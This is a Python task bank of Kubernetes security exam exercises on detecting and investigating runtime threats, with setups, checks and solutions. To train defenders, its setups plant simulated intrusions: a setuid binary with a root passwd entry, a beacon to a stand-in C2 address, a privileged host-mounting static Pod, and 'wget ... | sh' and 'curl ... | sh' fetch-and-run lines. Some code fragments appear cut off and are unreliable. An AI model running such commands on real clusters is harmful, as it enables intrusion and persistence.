"""CKS tasks 87-102: Monitoring, Logging and Runtime Security - the pool tasks that take the domain from 1 to 17. 6.1 Behavioural (Falco: none yet - see below) analytics 6.2 Detect threats 87 a process that should not be there 88 a container that changed itself 89 who is calling that address? 90 a Pod nobody deployed 6.3 Investigate 91 read an attack out of an audit log 92 hunt an indicator of compromise 93 who opened a shell in that Pod? 94 a leaked ServiceAccount token 6.4 Immutability 95 a read-only root filesystem 96 which Pods can change themselves? 97 enforce it at admission 98 frozen configuration, no shells 6.5 Audit logs 99 a policy with four levels 100 who keeps reading that Secret? 101 audit exec and delete, nothing else 102 the API server is down since auditing Falco watches system calls through eBPF or a kernel module. Exam hosts here are containers under rootless podman and may load neither, so objective 6.1 has no task in this bank; it needs the VM backend (see the README). Everything else is tested for real: processes and connections on the nodes, tokens against the API, admission by dry run, and audit policies by making requests and reading what the API server wrote. Every task has a scripted solution in solve.py. """ from cks.common import API, C, EXT, NET, PODS, PY, NS, ns_pick, name_pick from cks.bank_harden import CAN, CURL # Audit logging, for the setups that need it on and the checks that read the log. AUDIT = r""" ALOG=/var/log/kubernetes/audit/audit.log # audit_setup < POLICY: switch on audit logging with that policy (/etc/kubernetes/audit/policy.yaml), log in $ALOG audit_setup() { nx "$CP" 'mkdir -p /etc/kubernetes/audit /var/log/kubernetes/audit && cat > /etc/kubernetes/audit/policy.yaml' || return 1 medit kube-apiserver.yaml '.spec.containers[0].command += ["--audit-policy-file=/etc/kubernetes/audit/policy.yaml", "--audit-log-path=/var/log/kubernetes/audit/audit.log", "--audit-log-maxage=7", "--audit-log-maxbackup=3"] | .spec.containers[0].volumeMounts += [{"name": "audit-policy", "mountPath": "/etc/kubernetes/audit", "readOnly": true}, {"name": "audit-log", "mountPath": "/var/log/kubernetes/audit"}] | .spec.volumes += [{"name": "audit-policy", "hostPath": {"path": "/etc/kubernetes/audit", "type": "DirectoryOrCreate"}}, {"name": "audit-log", "hostPath": {"path": "/var/log/kubernetes/audit", "type": "DirectoryOrCreate"}}]' || return 1 wait_proc kube-apiserver '--audit-policy-file=' && wait_api } # aud 'JQ CONDITION': how many entries of the audit log match (double quotes in the condition, no single ones) aud() { nx "$CP" "jq -c 'select($1)' $ALOG 2>/dev/null | wc -l" /dev/null | tail -1 | jq -r '$2'" "$ca" KUBECONFIG=/dev/null kubectl --server="$srv" --certificate-authority="$ca" --token="$t" "$@" } """ SAME = r""" # same LIST-FILE EXPECTED-FILE: the candidate's list names exactly the expected items same() { [ -s "$1" ] && diff <(tr -d ' \r' < "$1" | grep . | sort -u) <(sort -u "$2") >/dev/null; } """ # scpod NS 'CONTAINER FIELDS' ['INIT CONTAINER FIELDS']: would the API server admit a Pod whose # container (and init container) carry these JSON fields? (server-side dry run) SCPOD = r""" scpod() { local init=""; [ -n "${3:-}" ] && init="\"initContainers\": [{\"name\": \"init\", \"image\": \"busybox:1.36\", $3}]," $K apply --dry-run=server -f - >/dev/null 2>&1 </` to `{WS}/q87/pod.txt`. 3. Stop it for good: scale the Deployment that owns that Pod to 0 replicas. Leave everything else running. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q87"; mkdir -p "$WS/q87" # (not busybox: it is one binary that decides what to be by the name it is called with, and a copy # named after the miner would only say "applet not found" - this image has a sleep of its own) for d in frontend worker cache reports; do cmd='exec sleep infinity'; [ $d = %{bad} ] && cmd='cp /bin/sleep /tmp/%{proc} && exec /tmp/%{proc} infinity' $K -n %{ns} create deploy $d --image=nginx:1.27 -- sh -c "$cmd" >/dev/null done for d in frontend worker cache reports; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done pod=$($K -n %{ns} get pod -l app=%{bad} -o jsonpath='{.items[0].metadata.name}'); node=$(j -n %{ns} pod "$pod" '{.spec.nodeName}') for i in $(seq 1 20); do pid=$(nx "$node" 'pgrep -x %{proc}' "$PRIV/q87" """, "checks": [ C("pid.txt holds the process id of %{proc} on the node", 3, r"""read -r pid pod < "$PRIV/q87"; eq "$(tr -dc '0-9' < "$WS/q87/pid.txt" 2>/dev/null)" "$pid" """), C("pod.txt names the Pod it ran in", 3, r"""read -r pid pod < "$PRIV/q87"; eq "$(tr -d ' \n\r' < "$WS/q87/pod.txt" 2>/dev/null)" "$pod" """), C("its Deployment is scaled to 0 and the process is gone; the other Deployments still run", 4, r""" eq "$(j -n %{ns} deploy %{bad} '{.spec.replicas}')" 0 || exit 1 for d in frontend worker cache reports; do [ $d = %{bad} ] || [ "$(j -n %{ns} deploy $d '{.status.availableReplicas}')" = 1 ] || exit 1; done for i in $(seq 1 15); do nx "$W1" 'pgrep -x %{proc}' /dev/null || exit 0; sleep 3; done; exit 1"""), ], "solution": """ {SHELL_W1} pgrep -a %{proc} # the pid, as the node sees it -> {WS}/q87/pid.txt cat /proc/PID/cgroup # ...kubepods...pod.../cri-containerd-.scope sudo crictl ps --no-trunc | grep sudo crictl inspect | jq -r '.status.labels | ."io.kubernetes.pod.namespace" + "/" + ."io.kubernetes.pod.name"' exit # -> {WS}/q87/pod.txt, then: k -n %{ns} get pod -o jsonpath='{.metadata.ownerReferences[0].name}' # its ReplicaSet -> the Deployment k -n %{ns} scale deploy %{bad} --replicas=0 # A container is a process of the node: `ps` there shows it, and its cgroup names the Pod's uid and # the container id. Deleting the Pod would only make the Deployment start it again. # The other way round: crictl inspect -o go-template --template '{{.info.pid}}' """, }, { "id": 88, "domain": "RUNTIME", "title": "A container that changed itself", "params": lambda r: {"ns": ns_pick(r, "svc"), "bad": r.choice(["api", "billing", "search"])}, "task": """ Containers are supposed to stay what their image is. Namespace `%{ns}` runs three Deployments from the same image and with one replica each — `api`, `billing` and `search` — and the container of one of them has modified its own filesystem since it started. 1. Find out which one and write the Deployment's name to `{WS}/q88/deployment.txt`. 2. An executable was added to that container. Write its full path to `{WS}/q88/added.txt`. 3. Make it impossible: give that Deployment's container a read-only root filesystem. The new Pod must be running, without the added file. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q88"; mkdir -p "$WS/q88" for d in api billing search; do cmd='exec sleep 2147483647' [ $d = %{bad} ] && cmd='sleep 2; cp /bin/busybox /bin/.update 2>/dev/null; chmod 4755 /bin/.update 2>/dev/null; echo "svc:x:0:0::/root:/bin/sh" >> /etc/passwd 2>/dev/null; exec sleep 2147483647' $K -n %{ns} create deploy $d --image=busybox:1.36 -- sh -c "$cmd" >/dev/null done for d in api billing search; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done for i in $(seq 1 20); do $K -n %{ns} exec deploy/%{bad} -- test -e /bin/.update 2>/dev/null && exit 0; sleep 1; done echo "the container did not change itself" >&2; exit 1 """, "checks": [ C("deployment.txt names the Deployment", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q88/deployment.txt" 2>/dev/null | sed 's#.*/##')" %{bad}"""), C("added.txt holds the path of the executable", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q88/added.txt" 2>/dev/null)" /bin/.update"""), C("that Deployment now has a read-only root filesystem, and its Pod runs clean", 4, r""" eq "$(j -n %{ns} deploy %{bad} '{.spec.template.spec.containers[0].securityContext.readOnlyRootFilesystem}')" true || exit 1 for i in $(seq 1 20); do [ "$(j -n %{ns} deploy %{bad} '{.status.updatedReplicas}')" = 1 ] && [ "$(j -n %{ns} deploy %{bad} '{.status.availableReplicas}')" = 1 ] && break; sleep 3; done p=$($K -n %{ns} get pod -l app=%{bad} --field-selector status.phase=Running --sort-by=.metadata.creationTimestamp -o jsonpath='{.items[-1:].metadata.name}'); [ -n "$p" ] || exit 1 sleep 3; $K -n %{ns} exec "$p" -- true 2>/dev/null && ! $K -n %{ns} exec "$p" -- test -e /bin/.update 2>/dev/null && ! $K -n %{ns} exec "$p" -- grep -q '^svc:' /etc/passwd 2>/dev/null"""), ], "solution": """ for d in api billing search; do echo "== $d"; k -n %{ns} exec deploy/$d -- sh -c 'ls -A /bin | wc -l; md5sum /etc/passwd; find / -xdev -type f -perm -4000 2>/dev/null' done # one differs: an extra file in /bin, another /etc/passwd, a setuid file k -n %{ns} exec deploy/%{bad} -- ls -la /bin/.update echo %{bad} > {WS}/q88/deployment.txt; echo /bin/.update > {WS}/q88/added.txt k -n %{ns} patch deploy %{bad} --type=json -p '[{"op":"add","path":"/spec/template/spec/containers/0/securityContext","value":{"readOnlyRootFilesystem":true}}]' k -n %{ns} rollout status deploy %{bad} k -n %{ns} exec deploy/%{bad} -- touch /bin/x # Read-only file system # Same image, different content: comparing replicas (or a container with a fresh one from the same # image) is how drift shows. On the node the same is visible without exec: the container's # writable layer holds exactly the files that were added or changed. Falco's rules for this are # "Drop and execute new binary in container" and "Write below binary dir". """, }, { "id": 89, "domain": "RUNTIME", "title": "Who is calling that address?", "workers": 1, "params": lambda r: _four(r, "prod"), "task": """ The firewall team sees connections from this cluster to **198.51.100.77**, port 80 — a known command-and-control address. They come from node `{W1}`; nobody knows from which Pod. 1. Find the Pod that connects to that address and write `/` to `{WS}/q89/pod.txt`. 2. Cut it off, but keep it for the investigation: do **not** delete the Pod or scale its Deployment. Create NetworkPolicy `isolate-c2` in the Pod's Namespace that selects the Pods of that Deployment (label `app=`) and allows them no outgoing traffic at all. The other workloads must keep working. """, "setup": EXT + PODS + r""" mkns %{ns}; rm -rf "$WS/q89"; mkdir -p "$WS/q89" extsvc c2-server 198.51.100.77 beacon 'ack' || exit 1 srv %{ns} api for d in frontend worker cache reports; do u=http://api; [ $d = %{bad} ] && u=http://198.51.100.77/beacon $K -n %{ns} create deploy $d --image=busybox:1.36 -- sh -c "while true; do wget -T 2 -qO- $u >/dev/null 2>&1; sleep 3; done" >/dev/null done for d in frontend worker cache reports; do $K -n %{ns} rollout status deploy $d --timeout=240s >/dev/null || exit 1; done ready %{ns} || exit 1 pod=$($K -n %{ns} get pod -l app=%{bad} -o jsonpath='{.items[0].metadata.name}') for i in $(seq 1 20); do $K -n %{ns} exec "$pod" -- wget -T 2 -qO- http://198.51.100.77/beacon 2>/dev/null | grep -q ack && break; sleep 2; done $K -n %{ns} exec "$pod" -- wget -T 2 -qO- http://198.51.100.77/beacon 2>/dev/null | grep -q ack || { echo "198.51.100.77 does not answer from the Pod" >&2; exit 1; } echo "%{ns}/$pod $(j -n %{ns} pod "$pod" '{.metadata.uid}')" > "$PRIV/q89" """, "checks": [ C("pod.txt names the Pod that calls 198.51.100.77", 4, r"""read -r pod uid < "$PRIV/q89"; eq "$(tr -d ' \n\r' < "$WS/q89/pod.txt" 2>/dev/null)" "$pod" """), C("isolate-c2 selects app=%{bad} and allows no egress", 3, PY + r""" py -n %{ns} netpol isolate-c2 ' s = o["spec"] s["podSelector"].get("matchLabels") == {"app": "%{bad}"} and "Egress" in s.get("policyTypes", []) and not s.get("egress")'"""), C("the Pod is still there and reaches neither that address nor anything else; the others work", 3, NET + r""" read -r pod uid < "$PRIV/q89"; p=${pod#*/} has -n %{ns} netpol isolate-c2 && eq "$(j -n %{ns} pod "$p" '{.metadata.uid}')" "$uid" && eq "$(j -n %{ns} deploy %{bad} '{.spec.replicas}')" 1 || exit 1 other=$([ %{bad} = frontend ] && echo worker || echo frontend) okr %{ns} deploy/$other http://api && blocked %{ns} "$p" http://198.51.100.77/beacon && blocked %{ns} "$p" http://api"""), ], "solution": """ {SHELL_W1} sudo conntrack -L -d 198.51.100.77 2>/dev/null | head -3 # src=10.244.x.y ... dport=80: the Pod's address exit k get pod -A -o wide | grep -w 10.244.x.y # -> %{ns}/ -> {WS}/q89/pod.txt cat < -- wget -T 2 -qO- http://198.51.100.77/beacon # times out # The node's connection tracking table knows every flow that passes through it, with the Pod's # address as the source; `tcpdump -ni any host 198.51.100.77` shows the same, live. # policyTypes: [Egress] with no egress rules is "nothing out" - DNS included. The Pod stays, with # its processes and files, for whoever examines it. """, }, { "id": 90, "domain": "RUNTIME", "title": "A Pod nobody deployed", "workers": 1, "params": lambda r: {"name": r.choice(["kube-proxy-helper", "node-exporter-agent", "kubelet-tuner", "cni-repair"])}, "task": """ A Pod named `%{name}-{W1}` runs in Namespace `kube-system`. Nobody deployed it, it is privileged and mounts the node's whole filesystem — and when it is deleted with `kubectl`, it is back within seconds. 1. Find out where it comes from, and write the full path of the file that defines it (on the node it runs on) to `{WS}/q90/source.txt`. 2. Remove it for good. 3. Write the name of the kubelet configuration setting that makes the kubelet run what it finds in that directory to `{WS}/q90/setting.txt`. """, "setup": r""" rm -rf "$WS/q90"; mkdir -p "$WS/q90" nx "$W1" 'mkdir -p /etc/kubernetes/manifests && cat > /etc/kubernetes/manifests/%{name}.yaml' <<'EOF' || exit 1 apiVersion: v1 kind: Pod metadata: name: %{name} namespace: kube-system labels: {tier: node} spec: hostNetwork: true hostPID: true containers: - name: agent image: busybox:1.36 command: ["sh", "-c", "while true; do sleep 3600; done"] securityContext: {privileged: true} volumeMounts: [{name: host, mountPath: /host}] volumes: - {name: host, hostPath: {path: /}} EOF for i in $(seq 1 40); do [ "$(j -n kube-system pod "%{name}-$W1" '{.status.phase}')" = Running ] && exit 0; sleep 3; done echo "the static Pod did not start" >&2; exit 1 """, "checks": [ C("source.txt holds the path of the manifest", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q90/source.txt" 2>/dev/null)" /etc/kubernetes/manifests/%{name}.yaml"""), C("the manifest is gone from {W1}, and so are the Pod and its container", 4, r""" nx "$W1" '! test -e /etc/kubernetes/manifests/%{name}.yaml && ! grep -rqs "name: %{name}" /etc/kubernetes/manifests/' /dev/null)" staticPodPath"""), ], "solution": """ k -n kube-system get pod %{name}-{W1} -o yaml | grep -A6 -E 'ownerReferences|annotations' # ownerReferences: kind: Node and kubernetes.io/config.source: file -> a static Pod of that node {SHELL_W1} sudo grep -n staticPodPath /var/lib/kubelet/config.yaml # staticPodPath: /etc/kubernetes/manifests sudo ls -l /etc/kubernetes/manifests/ # %{name}.yaml sudo rm /etc/kubernetes/manifests/%{name}.yaml exit k -n kube-system get pod | grep %{name} # gone after a few seconds # What `kubectl` shows of a static Pod is a mirror: deleting the mirror does nothing to the # container, the kubelet re-creates it at once. The kubelet runs every manifest in staticPodPath # without asking the API server - no admission control, no RBAC, no audit entry for its creation. # Whoever can write to that directory on a node owns the node: a classic way to stay. """, }, # =================================================================== 6.3 Investigate ==== { "id": 91, "domain": "RUNTIME", "title": "Read an attack out of an audit log", "params": lambda r: {"ns": ns_pick(r, "payments"), "sa": name_pick(r, "builder"), "secret": r.choice(["stripe-live-key", "card-vault-token", "settlement-creds"]), "ip": "10.244.%d.%d" % (r.randint(1, 3), r.randint(20, 240)), "crb": r.choice(["cluster-monitoring-view", "metrics-aggregator-auth", "node-problem-fixer", "system-diagnostics"]), "seed": r.randint(1000, 9999)}, "task": """ `{WS}/q91/audit.log` is the Kubernetes audit log of the hour in which Secret `%{secret}` of Namespace `%{ns}` was stolen. Each line is one audit event (JSON); `jq` is on the host. 1. Which identity **read** that Secret — successfully? Write its user name, as logged, to `{WS}/q91/actor.txt`. 2. From which IP address did it come? Write it to `{WS}/q91/ip.txt`. 3. The same identity then made itself cluster-admin. Write the name of the ClusterRoleBinding it created to `{WS}/q91/binding.txt`. 4. That ClusterRoleBinding still exists in this cluster: delete it. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q91"; mkdir -p "$WS/q91" $K -n %{ns} create sa %{sa} >/dev/null; $K -n %{ns} create secret generic %{secret} --from-literal=key=sk_live_%{seed} >/dev/null $K create clusterrolebinding %{crb} --clusterrole=cluster-admin --serviceaccount=%{ns}:%{sa} >/dev/null python3 - "$WS/q91/audit.log" <<'PYEOF' import json, random, sys, uuid, datetime r = random.Random(%{seed}) t = datetime.datetime(2026, 9, 14, 2, 0, 0) ACTOR, IP = "system:serviceaccount:%{ns}:%{sa}", "%{ip}" out = [] def ev(user, groups, ip, verb, res, ns, name, code, sub=None, group="", agent="kubectl/v1.37.0"): global t t += datetime.timedelta(seconds=r.randint(1, 9), microseconds=r.randint(0, 999999)) uri = ("/api/v1" if not group else "/apis/" + group + "/v1") + ("/namespaces/" + ns if ns else "") + "/" + res + ("/" + name if name else "") + ("/" + sub if sub else "") ref = {"resource": res, "apiVersion": "v1"} if group: ref["apiGroup"] = group if ns: ref["namespace"] = ns if name: ref["name"] = name if sub: ref["subresource"] = sub ts = t.strftime("%Y-%m-%dT%H:%M:%S.%fZ") out.append({"kind": "Event", "apiVersion": "audit.k8s.io/v1", "level": "Metadata", "auditID": str(uuid.UUID(int=r.getrandbits(128))), "stage": "ResponseComplete", "requestURI": uri, "verb": verb, "user": {"username": user, "groups": groups}, "sourceIPs": [ip], "userAgent": agent, "objectRef": ref, "responseStatus": {"metadata": {}, "code": code}, "requestReceivedTimestamp": ts, "stageTimestamp": ts, "annotations": {"authorization.k8s.io/decision": "allow" if code < 400 else "forbid"}}) SA = ["system:serviceaccounts", "system:authenticated"] def noise(n): for _ in range(n): k = r.randint(0, 6) if k == 0: ev("system:kube-scheduler", ["system:authenticated"], "10.89.0.5", "update", "leases", "kube-system", "kube-scheduler", 200, group="coordination.k8s.io", agent="kube-scheduler") elif k == 1: ev("system:kube-controller-manager", ["system:authenticated"], "10.89.0.5", "update", "leases", "kube-system", "kube-controller-manager", 200, group="coordination.k8s.io", agent="kube-controller-manager") elif k == 2: ev("system:node:worker-1", ["system:nodes", "system:authenticated"], "10.89.0.6", "get", "secrets", "%{ns}", "registry-pull", 200, agent="kubelet") elif k == 3: ev("system:serviceaccount:%{ns}:default", SA, "10.244.2.%d" % r.randint(2, 250), "get", "configmaps", "%{ns}", "app-config", 200, agent="app/1.4") elif k == 4: ev("system:serviceaccount:monitoring:prometheus", SA, "10.244.1.9", "list", "pods", "", "", 200, agent="Prometheus/2.53") elif k == 5: ev("jane", ["dev", "system:authenticated"], "192.168.40.17", "list", "pods", "%{ns}", "", 200) else: ev("system:serviceaccount:kube-system:coredns", SA, "10.244.0.3", "watch", "endpointslices", "", "", 200, group="discovery.k8s.io", agent="coredns") noise(60) ev("system:serviceaccount:%{ns}:default", SA, "10.244.2.77", "get", "secrets", "%{ns}", "%{secret}", 403, agent="curl/8.5.0") # tried, and was refused noise(25) ev("jane", ["dev", "system:authenticated"], "192.168.40.17", "list", "secrets", "%{ns}", "", 403) noise(30) ev(ACTOR, SA, IP, "list", "secrets", "kube-system", "", 403, agent="curl/8.5.0") ev(ACTOR, SA, IP, "list", "secrets", "%{ns}", "", 403, agent="curl/8.5.0") noise(4) ev(ACTOR, SA, IP, "get", "secrets", "%{ns}", "%{secret}", 200, agent="curl/8.5.0") noise(12) ev(ACTOR, SA, IP, "create", "clusterrolebindings", "", "", 403, group="rbac.authorization.k8s.io", agent="kubectl/v1.30.2") noise(8) ev(ACTOR, SA, IP, "create", "clusterrolebindings", "", "%{crb}", 201, group="rbac.authorization.k8s.io", agent="kubectl/v1.30.2") noise(6) ev(ACTOR, SA, IP, "list", "secrets", "kube-system", "", 200, agent="kubectl/v1.30.2") ev(ACTOR, SA, IP, "create", "pods", "kube-system", "debug-shell", 201, agent="kubectl/v1.30.2") noise(70) open(sys.argv[1], "w").write("".join(json.dumps(e, separators=(",", ":")) + "\n" for e in out)) PYEOF [ "$(wc -l < "$WS/q91/audit.log")" -gt 200 ] """, "checks": [ C("actor.txt names the identity that read the Secret", 3, r"""eq "$(tr -d ' \n\r' < "$WS/q91/actor.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""), C("ip.txt holds its source address", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q91/ip.txt" 2>/dev/null)" %{ip}"""), C("binding.txt names the ClusterRoleBinding it created", 2, r"""eq "$(tr -d ' \n\r' < "$WS/q91/binding.txt" 2>/dev/null | sed 's#.*/##')" %{crb}"""), C("that ClusterRoleBinding is deleted: the ServiceAccount is no longer cluster-admin", 3, CAN + r""" [ -z "$(j clusterrolebinding %{crb} '{.metadata.name}')" ] && cannot --as=system:serviceaccount:%{ns}:%{sa} -- '*' '*' && [ -n "$(j clusterrolebinding cluster-admin '{.metadata.name}')" ]"""), ], "solution": """ cd {WS}/q91 jq -c 'select(.objectRef.resource == "secrets" and .objectRef.name == "%{secret}") | [.user.username, .verb, .responseStatus.code, .sourceIPs[0]]' audit.log # two identities asked; only one got 200 -> actor.txt, ip.txt jq -c 'select(.user.username == "system:serviceaccount:%{ns}:%{sa}") | [.requestReceivedTimestamp, .verb, .objectRef.resource, .objectRef.name, .responseStatus.code]' audit.log # list secrets 403, get secret 200, create clusterrolebindings 403 then 201 (%{crb}), a Pod in kube-system echo %{crb} > binding.txt k get clusterrolebinding %{crb} -o wide && k delete clusterrolebinding %{crb} # Read the whole trail of the identity, in order: reconnaissance (the 403s), the theft, the # escalation, a foothold. The status code separates an attempt from a success, and the user agent # tells kubectl from a script. A ServiceAccount is what was used - whose Pod or stolen token it # was is the next question. """, }, { "id": 92, "domain": "RUNTIME", "title": "Hunt an indicator of compromise", "params": lambda r: {"ns": ns_pick(r, "media")}, "task": """ Threat intelligence names **198.51.100.66** as the address of a malware distribution server. An intruder has planted references to it in this cluster. 1. Find every workload object (Deployment, DaemonSet, StatefulSet, CronJob, Job) and every ConfigMap, in **any** Namespace, that refers to exactly that address. Write them to `{WS}/q92/found.txt`, one per line, as `//` with the kind in lower case — for example `deployment/default/web`. Do not list the Pods or ReplicaSets they create. 2. Delete those objects. Leave everything else alone — other objects use similar-looking addresses legitimately. """, "setup": NS + r""" mkns %{ns}; mkns %{ns}-tools; rm -rf "$WS/q92"; mkdir -p "$WS/q92" $K -n %{ns} create deploy web --image=busybox:1.36 -- sleep 86400 >/dev/null $K -n %{ns} create configmap upstreams --from-literal=primary=198.51.100.6 --from-literal=secondary=198.51.100.166 >/dev/null $K -n %{ns}-tools create deploy proxy --image=busybox:1.36 -- sleep 86400 >/dev/null $K -n %{ns}-tools set env deploy proxy UPSTREAM=198.51.100.166:8080 >/dev/null $K -n %{ns} create cronjob log-rotate --image=busybox:1.36 --schedule='*/30 * * * *' -- sh -c 'wget -qO- http://198.51.100.66/r.sh | sh' >/dev/null $K -n %{ns}-tools create deploy metrics-cache --image=busybox:1.36 -- sleep 86400 >/dev/null $K -n %{ns}-tools set env deploy metrics-cache UPDATE_URL=http://198.51.100.66/update >/dev/null $K -n default create configmap bootstrap-script --from-literal=run.sh='#!/bin/sh curl -s http://198.51.100.66/stage2 | sh' >/dev/null $K apply -f - >/dev/null < "$PRIV/q92.found" """, "checks": [ C("found.txt lists the four objects that refer to 198.51.100.66", 4, r""" [ -s "$WS/q92/found.txt" ] && diff <(tr -d ' \r' < "$WS/q92/found.txt" | tr 'A-Z' 'a-z' | sed 's#\.apps/#/#; s#\.batch/#/#' | grep . | sort -u) "$PRIV/q92.found" >/dev/null"""), C("all four are deleted", 4, r""" [ -z "$(j -n default cm bootstrap-script '{.metadata.name}')" ] && [ -z "$(j -n %{ns} cronjob log-rotate '{.metadata.name}')" ] \ && [ -z "$(j -n kube-system ds node-tuner '{.metadata.name}')" ] && [ -z "$(j -n %{ns}-tools deploy metrics-cache '{.metadata.name}')" ]"""), C("the objects with similar addresses are untouched", 2, r""" [ -z "$(j -n %{ns}-tools deploy metrics-cache '{.metadata.name}')" ] && [ -z "$(j -n %{ns} cronjob log-rotate '{.metadata.name}')" ] || exit 1 [ -n "$(j -n %{ns} cm upstreams '{.metadata.name}')" ] && [ -n "$(j -n %{ns}-tools deploy proxy '{.metadata.name}')" ] && [ -n "$(j -n %{ns} deploy web '{.metadata.name}')" ]"""), ], "solution": """ k get deploy,ds,sts,cronjob,job,cm -A -o json | jq -r '.items[] | select(tostring | test("198\\\\.51\\\\.100\\\\.66([^0-9]|$)")) | (.kind | ascii_downcase) + "/" + .metadata.namespace + "/" + .metadata.name' | tee {WS}/q92/found.txt # configmap/default/bootstrap-script cronjob/%{ns}/log-rotate daemonset/kube-system/node-tuner deployment/%{ns}-tools/metrics-cache k -n default delete cm bootstrap-script; k -n %{ns} delete cronjob log-rotate k -n kube-system delete ds node-tuner; k -n %{ns}-tools delete deploy metrics-cache # Search the objects, not your memory of them: the address sits in a command, an argument, an # environment variable and a script in a ConfigMap. `tostring` turns the whole object into text # for the match; the ([^0-9]|$) after it keeps 198.51.100.66 from matching ...100.660 - and the # plain `grep 198.51.100.6` would have caught the legitimate 198.51.100.6 as well. # CronJobs and DaemonSets are how an intruder comes back after the Pods are gone. """, }, { "id": 93, "domain": "RUNTIME", "title": "Who opened a shell in that Pod?", "difficulty": "hard", "params": lambda r: {"ns": ns_pick(r, "ledger"), "pod": name_pick(r, "vault"), "sa": r.choice(["contractor-ci", "legacy-deployer", "support-bot"])}, "task": """ Audit logging is on in this cluster: the API server writes `/var/log/kubernetes/audit/audit.log` on `{CP}`. Somebody ran a command inside Pod `%{pod}` of Namespace `%{ns}` (`kubectl exec`). 1. Find out who. Write the user name, as the audit log has it, to `{WS}/q93/user.txt`. 2. Save the audit event of that exec — the JSON line — to `{WS}/q93/event.json`. 3. Take the ability away: that identity must no longer be able to exec into Pods of `%{ns}`. It keeps reading Pods and their logs. """, "setup": NS + API + AUDIT + TOKEN + r""" mkns %{ns}; rm -rf "$WS/q93"; mkdir -p "$WS/q93" audit_setup <<'EOF' || { echo "could not switch on audit logging" >&2; exit 1; } apiVersion: audit.k8s.io/v1 kind: Policy omitStages: [RequestReceived] rules: - level: Metadata EOF for s in %{sa} pipeline; do $K -n %{ns} create sa $s >/dev/null $K apply -f - >/dev/null </dev/null done $K -n %{ns} run %{pod} --image=busybox:1.36 --command -- sleep 86400 >/dev/null $K -n %{ns} run frontend --image=busybox:1.36 --command -- sleep 86400 >/dev/null $K -n %{ns} wait --for=condition=Ready pod --all --timeout=240s >/dev/null || exit 1 t1=$($K -n %{ns} create token %{sa}); t2=$($K -n %{ns} create token pipeline) tk "$t2" -n %{ns} exec frontend -- id >/dev/null 2>&1 tk "$t1" -n %{ns} get pods >/dev/null 2>&1 tk "$t1" -n %{ns} exec %{pod} -- cat /etc/hostname >/dev/null 2>&1 || { echo "the exec as %{sa} did not work" >&2; exit 1; } tk "$t2" -n %{ns} logs %{pod} >/dev/null 2>&1 $K -n %{ns} exec frontend -- id >/dev/null 2>&1 sleep 2 [ "$(aud ".objectRef.subresource==\"exec\" and .objectRef.name==\"%{pod}\" and .user.username==\"system:serviceaccount:%{ns}:%{sa}\"")" -ge 1 ] """, "checks": [ C("user.txt names the identity that ran the exec", 4, r"""eq "$(tr -d ' \n\r' < "$WS/q93/user.txt" 2>/dev/null)" system:serviceaccount:%{ns}:%{sa}"""), C("event.json is the audit event of that exec", 2, r""" python3 -c ' import json, sys e = json.loads(open(sys.argv[1]).read().strip().splitlines()[0]) r = e.get("objectRef", {}) sys.exit(0 if e.get("kind") == "Event" and r.get("subresource") == "exec" and r.get("name") == "%{pod}" and e["user"]["username"] == "system:serviceaccount:%{ns}:%{sa}" else 1)' "$WS/q93/event.json" 2>/dev/null"""), C("it can no longer exec into Pods of %{ns}, and still reads Pods and logs", 4, CAN + r""" S=system:serviceaccount:%{ns}:%{sa} cannot --as=$S -- create pods/exec -n %{ns} && cannot --as=$S -- get pods/exec -n %{ns} \ && can --as=$S -- list pods -n %{ns} && can --as=$S -- get pods/log -n %{ns} && can --as=system:serviceaccount:%{ns}:pipeline -- create pods/exec -n %{ns}"""), ], "solution": """ sudo jq -c 'select(.objectRef.subresource == "exec" and .objectRef.name == "%{pod}") | [.requestReceivedTimestamp, .user.username, .verb, .responseStatus.code, .requestURI]' /var/log/kubernetes/audit/audit.log # system:serviceaccount:%{ns}:%{sa} ... /api/v1/namespaces/%{ns}/pods/%{pod}/exec?command=cat&command=%2Fetc%2Fhostname... echo system:serviceaccount:%{ns}:%{sa} > {WS}/q93/user.txt sudo jq -c 'select(.objectRef.subresource == "exec" and .objectRef.name == "%{pod}")' /var/log/kubernetes/audit/audit.log | tail -1 > {WS}/q93/event.json k -n %{ns} get rolebinding -o wide | grep %{sa} # %{sa}-debug -> Role %{sa}-debug k -n %{ns} edit role %{sa}-debug # delete the pods/exec rule k -n %{ns} auth can-i create pods --subresource=exec --as=system:serviceaccount:%{ns}:%{sa} # no # (`can-i create pods/exec` would ask about a Pod NAMED exec - the subresource needs the flag) # exec is a subresource of pods: objectRef.resource is "pods", objectRef.subresource "exec", and # the command is in the request URI. The verb is "get" (WebSocket) or "create" (SPDY) depending on # the client, which is why the Role has to lose both. At Metadata level the log says who, when and # what was run - not what it printed. """, }, { "id": 94, "domain": "RUNTIME", "title": "A leaked ServiceAccount token", "difficulty": "hard", "params": lambda r: {"ns": ns_pick(r, "ci")}, "task": """ The token of ServiceAccount `ci-bot` in Namespace `%{ns}` was found in a public repository: it is in `{WS}/q94/leaked.token`. A second token of the same ServiceAccount, issued a few minutes ago and valid for six more hours, is known to be in the same hands: `{WS}/q94/second.token`. 1. Can the holder of these tokens read Secrets in `%{ns}`? Write `yes` or `no` to `{WS}/q94/secrets.txt`. 2. Make **both** tokens useless — now, not in six hours. 3. The pipeline needs its ServiceAccount: afterwards `ci-bot` must exist in `%{ns}` under the same name, with the same permissions (RoleBinding `ci-bot`), and be able to get new tokens. """, "setup": NS + r""" mkns %{ns}; rm -rf "$WS/q94"; mkdir -p "$WS/q94" $K -n %{ns} create sa ci-bot >/dev/null $K -n %{ns} create rolebinding ci-bot --clusterrole=edit --serviceaccount=%{ns}:ci-bot >/dev/null $K apply -f - >/dev/null < "$WS/q94/leaked.token"; $K -n %{ns} create token ci-bot --duration=6h > "$WS/q94/second.token" cp "$WS/q94/leaked.token" "$PRIV/q94.a"; cp "$WS/q94/second.token" "$PRIV/q94.b"; j -n %{ns} sa ci-bot '{.metadata.uid}' > "$PRIV/q94.uid" [ -s "$PRIV/q94.b" ] && [ -s "$PRIV/q94.uid" ] """, "checks": [ 